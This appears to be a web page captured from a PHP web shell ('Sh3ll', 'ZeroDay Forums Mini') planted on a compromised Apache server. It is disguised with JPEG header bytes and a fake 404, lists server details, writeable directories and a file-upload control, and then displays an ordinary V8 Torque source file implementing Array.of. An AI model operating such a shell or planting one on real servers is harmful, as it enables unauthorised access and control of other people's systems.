����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/v8/src/builtins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/v8/src/builtins/array-of.tq
// Copyright 2018 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

namespace array_of {
  // https://tc39.github.io/ecma262/#sec-array.of
  transitioning javascript builtin
  ArrayOf(js-implicit context: Context, receiver: JSAny)(...arguments): JSAny {
    // 1. Let len be the actual number of arguments passed to this function.
    const len: Smi = Convert<Smi>(arguments.length);

    // 2. Let items be the List of arguments passed to this function.
    const items: Arguments = arguments;

    // 3. Let C be the this value.
    const c: JSAny = receiver;

    let a: JSReceiver;

    // 4. If IsConstructor(C) is true, then
    typeswitch (c) {
      case (c: Constructor): {
        // a. Let A be ? Construct(C, « len »).
        a = Construct(c, len);
      }
      case (JSAny): {
        // a. Let A be ? ArrayCreate(len).
        a = ArrayCreate(len);
      }
    }

    // 6. Let k be 0.
    let k: Smi = 0;

    // 7. Repeat, while k < len
    while (k < len) {
      // a. Let kValue be items[k].
      const kValue: JSAny = items[Convert<intptr>(k)];

      // b. Let Pk be ! ToString(k).
      // c. Perform ? CreateDataPropertyOrThrow(A, Pk, kValue).
      FastCreateDataProperty(a, k, kValue);

      // d. Increase k by 1.
      k++;
    }

    // 8. Perform ? Set(A, "length", len, true).
    array::SetPropertyLength(a, len);

    // 9. Return A.
    return a;
  }
}

ZeroDay Forums Mini